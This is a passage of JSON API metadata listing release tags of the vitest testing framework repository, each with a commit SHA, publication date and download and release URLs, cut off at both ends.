1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.5/manifests"},{"name":"v0.2.4","sha":"7e97c654cd53bdb8faac6462de6d9c1ed0c9df8d","kind":"tag","published_at":"2022-01-27T01:43:24.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.2.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"ee77610f73295772050ab478a31f903cfd4cd762","kind":"tag","published_at":"2022-01-25T12:17:00.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.2.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.3/manifests"},{"name":"v0.2.2","sha":"2d825391288f353e2c8f6dad236ecc1ae2132dab","kind":"tag","published_at":"2022-01-25T09:12:38.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.2.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"5e6f694727bcd1c2702090cde438d11d6ac1f4db","kind":"tag","published_at":"2022-01-24T09:31:10.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.2.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"cc19af5d53d66adc085bdbb90323d9f7651ae58c","kind":"tag","published_at":"2022-01-23T10:12:53.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.2.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.2.0/manifests"},{"name":"v0.1.27","sha":"2509e06cc7d94b1b0354867a3143babe65eeafa1","kind":"tag","published_at":"2022-01-21T20:08:41.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.27","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.27","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.27/manifests"},{"name":"v0.1.26","sha":"75994f2e74e252bb35b2b649f97e989689151567","kind":"tag","published_at":"2022-01-21T09:22:57.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.26","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.26","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.26/manifests"},{"name":"v0.1.25","sha":"f16f311d7ef0479a3416a41c2d3e4e745fa0aaab","kind":"tag","published_at":"2022-01-20T21:28:30.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.25","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.25","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.25/manifests"},{"name":"v0.1.24","sha":"9a7458a6e16feb5309c08c5a44df373f535e2073","kind":"tag","published_at":"2022-01-19T19:16:59.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.24","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.24","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.24/manifests"},{"name":"v0.1.23","sha":"d4838dba6d86a09f8f0d5383b24febb46d675489","kind":"tag","published_at":"2022-01-19T05:38:27.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.23","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.23","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.23/manifests"},{"name":"v0.1.22","sha":"e213afc8cde6802c521bd7751fe0f26ec6c150be","kind":"tag","published_at":"2022-01-19T05:34:44.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.22","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.22","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.22/manifests"},{"name":"v0.1.21","sha":"7a05775dee3bd5ac3ce5f431e3a8a7545c48896c","kind":"tag","published_at":"2022-01-18T20:44:29.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.21","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.21","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.21/manifests"},{"name":"v0.1.20","sha":"a1e2b068e8aa12d603cf0bb252347a7109614283","kind":"tag","published_at":"2022-01-18T05:54:47.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.20","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.20","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.20/manifests"},{"name":"v0.1.19","sha":"fa9ddd900b0e00eff438befbf771c249e94be84b","kind":"tag","published_at":"2022-01-17T15:20:55.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.19","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.19","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.19/manifests"},{"name":"v0.1.18","sha":"3838ff0c15710825c94747fe6bcb01f4d6ac5e90","kind":"tag","published_at":"2022-01-17T08:44:10.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.18","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.18/manifests"},{"name":"v0.1.17","sha":"afa963efafb0fa9344561c9c957ae1a637dd34cd","kind":"tag","published_at":"2022-01-16T08:39:04.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.17","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.17/manifests"},{"name":"v0.1.16","sha":"269d4b1607d765cc3132099165e40741d5610861","kind":"tag","published_at":"2022-01-15T01:46:12.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.16","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.16/manifests"},{"name":"v0.1.15","sha":"4e62c980a6a3ef4c044d17614e65b12df13bb473","kind":"tag","published_at":"2022-01-14T21:50:15.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.15","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.15/manifests"},{"name":"v0.1.14","sha":"d85135c6257816b0afdc951be5b7dbed03ff502f","kind":"tag","published_at":"2022-01-14T21:16:18.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.14","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.14/manifests"},{"name":"v0.1.13","sha":"84f12d74fa8579b67b52874b36d8b90318759f59","kind":"tag","published_at":"2022-01-14T08:17:26.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.13","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.13/manifests"},{"name":"v0.1.12","sha":"5162ad51a650c5b82c549b803871430d44e76cc9","kind":"tag","published_at":"2022-01-13T07:44:37.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.12","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.12/manifests"},{"name":"v0.1.0","sha":"cdda58ae13e54c78d6e31d7e9b03beeae42e300a","kind":"tag","published_at":"2022-01-13T05:42:14.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.1.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.1.0/manifests"},{"name":"v0.0.142","sha":"f297bc1ea7010d70f4b233a05ef3b2f412546113","kind":"tag","published_at":"2022-01-12T20:14:26.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.142","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.142","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.142","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.142/manifests"},{"name":"v0.0.141","sha":"dedfb1787ac11aae7253cced8ce1cbccde073464","kind":"tag","published_at":"2022-01-11T18:09:24.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.141","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.141","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.141","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.141/manifests"},{"name":"v0.0.140","sha":"a6ee47ff73d03294941d4fb1ed049272070c10ee","kind":"tag","published_at":"2022-01-10T19:04:42.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.140","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.140","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.140","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.140/manifests"},{"name":"v0.0.139","sha":"dc9ee3512d14a81ca1941da937d57afa104b73af","kind":"tag","published_at":"2022-01-07T15:25:54.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.139","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.139","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.139","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.139/manifests"},{"name":"v0.0.138","sha":"dbe2ddf918b65b79c0518626f4bc7c70b17da243","kind":"tag","published_at":"2022-01-07T13:33:04.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.138","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.138","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.138","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.138/manifests"},{"name":"v0.0.137","sha":"6a800691cd17fb8692557ff5e27904ff105740cf","kind":"tag","published_at":"2022-01-07T13:05:32.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.137","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.137","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.137","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.137/manifests"},{"name":"v0.0.136","sha":"698bca06a5e22d9d439fdf1fe5206938f72332a6","kind":"tag","published_at":"2022-01-06T20:17:29.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.136","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.136","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.136","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.136/manifests"},{"name":"v0.0.135","sha":"9848a701d8fcce8415ed49a64947a17dca08780f","kind":"tag","published_at":"2022-01-06T16:52:51.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.135","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.135","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.135","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.135/manifests"},{"name":"v0.0.134","sha":"d9a05404df1e8204668805e4f11dcfe8997e03eb","kind":"tag","published_at":"2022-01-05T21:51:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.134","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.134","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.134","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.134/manifests"},{"name":"v0.0.133","sha":"b70319007ad946a32c7bbe17a7dbd3f217ef0379","kind":"tag","published_at":"2022-01-05T11:08:20.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.133","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.133","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.133","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.133/manifests"},{"name":"v0.0.132","sha":"b620443235a7ca86e2f6b32f13b5a97ec38d4d2e","kind":"tag","published_at":"2022-01-04T22:29:26.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.132","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.132","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.132","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.132/manifests"},{"name":"v0.0.131","sha":"f8b2cadb6efa6afd7c34a8f545256c63b8cb1b2d","kind":"tag","published_at":"2022-01-03T19:01:59.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.131","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.131","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.131","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.131/manifests"},{"name":"v0.0.130","sha":"b29819e84dd6273a64c7f27a09b7aabed72e7a38","kind":"tag","published_at":"2022-01-03T16:51:49.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.130","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.130","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.130","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.130/manifests"},{"name":"v0.0.129","sha":"211b826432dec1cc40121d1752e18ca55288844f","kind":"tag","published_at":"2022-01-03T13:07:35.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.129","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.129","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.129","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.129/manifests"},{"name":"v0.0.128","sha":"1d024202153db8204892499ac0611d43db8bc407","kind":"tag","published_at":"2022-01-03T08:37:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.128","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.128","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.128","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.128/manifests"},{"name":"v0.0.127","sha":"e43f30128a6353b3d1cdff500df85daa81865a8c","kind":"tag","published_at":"2022-01-02T13:19:31.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.127","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.127","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.127","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.127/manifests"},{"name":"v0.0.126","sha":"8c7a8d87c45746899b26f0b2194390190285f788","kind":"tag","published_at":"2022-01-02T00:37:23.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.126","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.126","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.126","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.126/manifests"},{"name":"v0.0.125","sha":"dc4b342fc20bdb160fa6038b7a15259b986a3618","kind":"tag","published_at":"2021-12-31T15:08:40.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.125","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.125","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.125","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.125/manifests"},{"name":"v0.0.124","sha":"b3117f183bbd255d267b5aae99f38f3b424288cd","kind":"tag","published_at":"2021-12-30T08:54:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.124","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.124","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.124/manifests"},{"name":"v0.0.123","sha":"2453452376708cb666b0633869e88e75d2a38279","kind":"tag","published_at":"2021-12-30T07:59:15.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.123","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.123","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.123","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.123/manifests"},{"name":"v0.0.122","sha":"40ed5771081e5f0aa5658e1172b0eb48896ff49d","kind":"tag","published_at":"2021-12-29T18:15:08.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.122","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.122","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.122","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.122/manifests"},{"name":"v0.0.121","sha":"5f7091beee35a0083616bb8de729d1bf9740aa28","kind":"tag","published_at":"2021-12-29T16:42:50.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.121","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.121","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.121/manifests"},{"name":"v0.0.120","sha":"149c12382ebaab8a7f0c184e41e43c085d4d5d27","kind":"tag","published_at":"2021-12-29T10:23:20.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.120","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.120","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.120","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.120/manifests"},{"name":"v0.0.119","sha":"21f6d503880d54d038f9d2cc84ffd461fcf18bd5","kind":"tag","published_at":"2021-12-29T06:40:20.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.119","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.119","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.119","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.119/manifests"},{"name":"v0.0.118","sha":"685cecd1d3d15df1241098d9e296bd2bd7a61caf","kind":"tag","published_at":"2021-12-27T20:58:30.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.118","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.118","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.118","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.118/manifests"},{"name":"v0.0.117","sha":"41834840150726efe78bc6130531d92d7ecd5553","kind":"tag","published_at":"2021-12-27T18:01:31.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.117","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.117","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.117","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.117/manifests"},{"name":"v0.0.116","sha":"b9815c9e6a3527f218d6e5ba9dec89f585dd441a","kind":"tag","published_at":"2021-12-27T13:29:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.116","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.116","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.116","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.116/manifests"},{"name":"v0.0.115","sha":"2b8287c2a705eaba26e96f36a237c19d4508a1c6","kind":"tag","published_at":"2021-12-26T16:34:39.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.115","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.115","dependencies_parsed_at":null,"